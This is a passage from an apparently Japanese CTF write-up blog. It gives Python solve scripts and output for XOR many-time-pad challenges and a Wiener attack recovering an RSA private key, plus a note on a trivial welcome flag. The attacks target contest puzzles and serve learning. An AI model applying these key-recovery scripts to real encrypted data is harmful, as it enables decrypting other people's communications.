3416373d35291a0f06111632236029277728281627761062212711262729331007021a033533663e2664252006377f12753320102e3b3329060d07111233326a2d31752c261c3d741a7e21211d36203232061105120329317c3e2c7e283610237e1971203e0b30352e291d0111110f28237b293064242b183b761379333719223d342e050106170e36366a242a742824193b65137830330d37'

ct1 = ct.split('@@')[0].decode('hex')
ct2 = ct.split('@@')[1].decode('hex')
assert len(ct1) > len(ct2)

flag = 'UDCTF{'

#### guess (add the conditions) ####
pt2_131 = 'E'
flag += strxor(pt2_131, ct2[131])
pt1_232 = 'D'
flag += strxor(pt1_232, ct1[232])
pt1_108 = 'Y'
flag += strxor(pt1_108, ct1[108])
pt1_359 = 'E'
flag += strxor(pt1_359, ct1[359])
pt1_210 = 'E'
flag += strxor(pt1_210, ct1[210])
pt2_586 = 'E'
flag += strxor(pt2_586, ct2[586])
pt2_087 = 'UST'
flag += strxor(pt2_087, ct2[87:90])
pt1_015 = 'ST'
flag += strxor(pt1_015, ct1[15:17])
pt2_267 = 'ER'
flag += strxor(pt2_267, ct2[267:269])
pt1_444 = 'LE'
flag += strxor(pt1_444, ct1[444:446])
pt2_296 = 'EN'
flag += strxor(pt2_296, ct2[296:298])
pt2_098 = 'OR'
flag += strxor(pt2_098, ct2[98:100])
###################################

for i in range(len(ct2) - len(flag)):
    try_pt1 = strxor(ct1[i:i+len(flag)], flag)
    if not is_uppercase(try_pt1):
        continue
    try_pt2 = strxor(ct2[i:i+len(flag)], flag)
    if not is_uppercase(try_pt2):
        continue
    print '[+] %03d' % i, try_pt1, try_pt2

print '[+] flag length:', len(flag)
print '[*] flag:', flag

最終的なコードで実行した結果は以下の通り。

[+] 000 THUSCASESOFINJUSTICEANDOP WEMUSTMEETREVERSESBOLDLYA
[+] 025 PRESSIONANDTYRANNYANDTHEM NDNOTSUFFERTHEMTOFRIGHTEN
[+] 050 OSTEXTRAVAGANTBIGOTRYAREI USMYDEARWEMUSTLEARNTOACTT
[+] 075 NCONSTANTOCCURRENCEAMONGU HEPLAYOUTWEMUSTLIVEMISFOR
[+] 100 SEVERYDAYITISTHECUSTOMTOT TUNEDOWNTROTYETNOTAHUNDRE
[+] 125 RUMPETFORTHMUCHWONDERANDA DPEOPLEINTHATBATTLEKNEWFO
[+] 150 STONISHMENTATTHECHIEFACTO RWHATTHEYFOUGHTORWHYNOTAH
[+] 175 RSTHEREINSETTINGATDEFIANC UNDREDOFTHEINCONSIDERATER
[+] 200 ESOCOMPLETELYTHEOPINIONOF EJOICERSINTHEVICTORYWHYTH
[+] 225 THEWORLDBUTTHEREISNOGREAT EYREJOICEDNOTHALFAHUNDRED
[+] 250 ERFALLACYITISPRECISELYBEC PEOPLEWERETHEBETTERFORTHE
[+] 275 AUSETHEYDOCONSULTTHEOPINI GAINORLOSSNOTHALFADOZENME
[+] 300 ONOFTHEIROWNLITTLEWORLDTH NAGREETOTHISHOURONTHECAUS
[+] 325 ATSUCHTHINGSTAKEPLACEATAL EORMERITSANDNOBODYINSHORT
[+] 350 LANDSTRIKETHEGREATWORLDDU EVERKNEWANYTHINGDISTINCTA
[+] 375 MBWITHAMAZEMENTITISANOLDM BOUTITBUTTHEMOURNERSOFTHE
[+] 400 AXIMOFMINETHATWHENYOUHAVE SLAINAMINDNEEDSBOOKSASASW
[+] 425 EXCLUDEDTHEIMPOSSIBLEWHAT ORDNEEDSAWHETSTONEIFITIST
[+] 450 EVERREMAINSHOWEVERIMPROBA OKEEPITSEDGEMISFORTUNESON
[+] 475 BLEMUSTBETHETRUTHWESHOULD ECANENDURETHEYCOMEFROMOUT
[+] 500 REGRETOURMISTAKESANDLEARN SIDETHEYAREACCIDENTSBUTTO
[+] 525 FROMTHEMBUTNEVERCARRYTHEM SUFFERFORONESOWNFAULTSAHT
[+] 550 FORWARDINTOTHEFUTUREWITHU HEREISTHESTINGOFLIFEFAIRS
[+] flag length: 25
[*] flag: UDCTF{w3lc0me_t0_0ur_ctf}
UDCTF{w3lc0me_t0_0ur_ctf}

hot_diggity_dog (Crypto)

eが大きいので、Wiener attackで復号する。

from fractions import Fraction

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(c, d, n)
    return hex(pt)[2:-1].decode('hex')

def continued_fractions(n,e):
    cf = [0]
    while e != 0:
        cf.append(int(n/e))
        N = n
        n = e
        e = N%e
    return cf

def calcKD(cf):
    kd = list()
    for i in range(1,len(cf)+1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1/(tmp+j)
        kd.append((tmp.numerator,tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n/prev)/2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a,b):
    if a*a < 4*b or a < 0:
        return None
    c = int_sqrt(a*a-4*b)
    p = (a + c) /2
    q = (a - c) /2
    if p + q == a and p * q == b:
        return (p,q)
    else:
        return None

def wiener(n,e):
    kd = calcKD(continued_fractions(n,e))
    for (k,d) in kd:
        if k == 0:
            continue
        if (e*d-1) % k != 0:
            continue
        phin = (e*d-1) / k
        if phin >= n:
            continue
        ans = calcPQ(n-phin+1,n)
        if ans is None:
            continue
        return (ans[0],ans[1])

ct = 1445158457387990092729868574235690883328476381078437687117878228610678310947334902928151958126564073831321511131120493936116572980844392339059695082676944986711787958020467838355715919844010417357214590554232283621365683356875746321589009098953624328174730340745378234041481603493747258963262531884670382042229428718330510592290008758111173719368374299854731022071324105897071753892331177288853041690780740815531486651595502580196838941532727366305459058746061588746640490687182589242546152875181973797724210940606061367176901019489599206915050389787568489542789560060345579688651817178939492459114225606406771235955

e = 5330937005006880093598805190457883063630518250745326049791291310524191688770900677498253541876968725608988780011516913878357798140003135027183366863417959569121844853154112633643536091957118974799216641940813816076761892236211162375350644432689995305078796388972317016831896068476526526240493710949951454131783438007369494808004238449351949310021365138218085659500266511659278324660907726047634205954578349090143258122339575130486086737348129446819710953982137783348510587816619070115876002869074901265649919320219852616110355922199696052682562769419854041433691634833396620026960716117376716599744619445906636482175

N = 23556978386989862035227152665942267051448371189104346192996652142451495705784925966782823083699578017218099068429270687003013513402446285863364337355914497014903287391640470691911301379324025739991132998846569160231096469746500676982968388236346330604875221880999292763567973167457083433522181668657217912177241888729758963460176309486324449898397985561906686499104935496010357883868875083629704557203354175080409863639147851384555705571167351576323781959338290250693193849433909988970284946272004099242515681352168706645027456876652910731084445006361925449302087580591425037548670961363916624298931229939048540585477

p, q = wiener(N, e)

flag = decrypt(p, q, e, ct)
print flag
UDCTF{5t1ck_t0_65537}

OTP2 (Crypto)

2つのテキスト文が[ランダム文字列]+[flag]+[ランダム文字列]をキーにXOR暗号されている。テキスト文はアルファベット大文字のみで構成されている。OTP1との違いはキーの長さが128バイトと決まっていて、途中の一部でのみフラグが鍵になっていること。
flagの先頭 "UDCTF{" で条件を満たす箇所を調べる。

[+] 005 INGONE THINGS

この結果からflagは0~127のインデックスで5からフラグが鍵になっているとわかる。あとはこの結果から文となるようキーを推測していく。

from Crypto.Util.strxor import strxor
from string import uppercase

def is_uppercase(s):
    for c in s:
        if not c.isupper():
            return False
    return True

ct = 'de1aaff3510601061a092e2a7b307e3e23100f643a1e27203a763c22763a1a35783a38a73de82037856d0e68a62d5fd23cc78e88c4c88ef8a307cd96d8d26d461ab0d4fa35c675befe312308972f1f1e7d0b9f536f5ba7c1ea43f5eebfb7a3ac756e4efd9053fd0b42df31c56cc175cd5c26afbfbc116a31b5d80c7c869a1617df12acef59061d0c01092924642b643929171966370b3b3b27742633763c192f652429b137e8202f9f781d6bbc3b4ec82bc78a95c0d490e2be1dc48ed4d9765b0db0cafa30dc63adf6272412942f1906640b9a4c7c52b4d0e45ae5e7b2b0b8ab767d5bfe9c52f5005fd020c063db75c45d35bda6ac0f6621b9cc1e789b9a100cd91aa0e8411d051511023423762d65212210167f26173a3a35702129633a1624622338a42bf5242e95630868bf2856d52eda8689c9cf99e8a41bce97d4d966521ba1cbeb31d464b5eb3738168c34131962058153665bbec1e346efe3a7b1b0ab76654af49c45fe175ed132dd6cc166ca5c35aca6ab0a6e38b1d20776899d1502c21caaed561c170e1b1233286137702c3e0c1075301a3f3d37652b34763b17277b313cbf37ef3b2891641363a73b42dc37ca9980d7df8ee2a21dc294c8d361461aa5d9fc3cd470ade8352b158e261d046416885e6f43b3cbf95bfbffaeb1a4a5727d5bee9152e80559da36c660d775cd5a3fada8bb0c7720a7c8057e9c9b180fde0fbbe65d1c0a041b083e22753079302016167f20093a2626662b34602016257f2038b337f4262f97680d72a22852ce31db8689c9c797e8a21ac596d4d1674701adddf627c168a9fc302f0797371e14790d8e566a54@@ce1eb6ea5701050b01083f3f76206130220f14753b11273c33672c26633c13237c3938a03ef53b2c9e6a0873a33f4edd30da888dd1c991fab80ac595c9d66a4606a4cafa30da66b8f32723088028181e6300884d6a4eb0d6ee45ede6a5a1a5b07e654af49c41f20744d137d07ada78d15b34b3bbbc096d3db4d80f73879a1102db1da3ec4d1b001111022b287c347d303a1a0a752617363637673a22652e1034633f38b039f3273484671374b83458cf37ce8383c4c28cf7b51dc69fd3d665410da5ccf020dd69bff32d3f148c2902056f078c4a785fbad6e64af0e6b2b7b6ad736551fe9653e20d5ecd2dc67fc664d35623a1a7bc14633aaec9037486891d0ac40fabea5b0105011b132f246726642139171d7d3d0a213a37613d28713c1723643b3cbe36ee213a9a671166a03f5fd232c38e90c2ce82e3a41bce88d8c46c5c1fb4d9ec33da6fa8fd2d380f8f2b1002660f8c4c675ba0c3e346ece6b5a9b8b77f6e4cef984ee81758db27cc61db64d35622abbab1026e32b6d504689a9d1e0cd81faee54d120c06020329347e2b633b24110d74310a21313370262667290c31762430b633f32729936a187ead3545cf26df8790d6c086fbb501df92d8d674561aa1dffa39d46ea8f42c3e0a8a2c1319780b985d675fb4caef4be3e1a1a1a5ad786951f88054fa0a43ce2ac061d36dcc5534a7b0bd066326a3d50a699b80160dc41eacf75d010c0a1a01282572346130231d0d64251a313b30663e32793f1a2a743830b22ce83c2f9e781d75ae3458cf2fc09f90c9c791e7a500df98cfd2634700a9d6f83dc66eb8f72b3c0f8d20'

ct1 = ct.split('@@')[0].decode('hex')
ct2 = ct.split('@@')[1].decode('hex')
assert len(ct1) > len(ct2)

flag = 'UDCTF{'

#### guess (add the conditions) ####
pt2_011 = 'RED'
flag += strxor(pt2_011, ct2[11:14])
pt1_526 = 'HE'
flag += strxor(pt1_526, ct1[526:528])
pt2_016 = 'OPLE'
flag += strxor(pt2_016, ct2[16:20])
pt1_148 = 'E'
flag += strxor(pt1_148, ct1[148])
pt1_021 = 'AT'
flag += strxor(pt1_021, ct1[21:23])
pt2_023 = 'HAT'
flag += strxor(pt2_023, ct2[23:26])
pt2_154 = 'TER'
flag += strxor(pt2_154, ct2[154:157])
pt2_029 = 'TLE'
flag += strxor(pt2_029, ct2[29:32])
pt1_288 = 'UTE'
flag += strxor(pt1_288, ct1[288:291])

####################################

for i in range(128 - len(flag)):
    found = True
    for j in range(i, len(ct2), 128):
        try_pt1 = strxor(ct1[j:j+len(flag)], flag)
        if not is_uppercase(try_pt1):
            found = False
            break
        try_pt2 = strxor(ct2[j:j+len(flag)], flag)
        if not is_uppercase(try_pt2):
            found = False
            break
    if found:
        print '[+] %03d' % i, try_pt1, try_pt2

print '**********************************************************************'

for i in range(5, len(ct2), 128):
    try_pt1 = strxor(ct1[i:i+len(flag)], flag)
    try_pt2 = strxor(ct2[i:i+len(flag)], flag)
    print '[+] %03d' % i, try_pt1, try_pt2

print '[+] flag length:', len(flag)
print '[*] flag:', flag

最終的なコードで実行した結果は以下の通り。

[+] 005 INGONEOFTHEMINORVIRTUESWHICHWE THINGSHAPPENBUTWEBOBUPUNWELCOM
**********************************************************************
[+] 005 SEENOUGHTOKNOWTHATTHEREARESOME TAHUNDREDPEOPLEINTHATBATTLEKNE
[+] 133 SYOUORIWOULDHAVETHOUGHTATFIRST NDREDPEOPLEWERETHEBETTERFORTHE
[+] 261 HAVEDONEITTOONOTHINGCONTRIBUTE TABOUTITBUTTHEMOURNERSOFTHESLA
[+] 389 ISMOTHERSAYSSHEBELIEVESASHALFA GHEVERYMORNINUDCUREACHAPASWASM
[+] 517 INGONEOFTHEMINORVIRTUESWHICHWE THINGSHAPPENBUTWEBOBUPUNWELCOM
[+] flag length: 30
[*] flag: UDCTF{m3d1um_X0r_str3ng7h_f7w}
UDCTF{m3d1um_X0r_str3ng7h_f7w}

Securinets CTF Quals 2021 Writeup

この大会は2021/3/21 2:00(JST)~2021/3/22 2:00(JST)に開催されました。
今回もチームで参戦。結果は50点で268チーム中223位でした。
残念ながら参加表明問題しか解けませんでしたが、
自分で解けた問題をWriteupとして書いておきます。

Welcome (Misc)

Discordに入り、#generalチャネルのトピックを見ると、フラグが書いてあった。

Securinets{Welcome_to_our_Prequals2K21_CTF}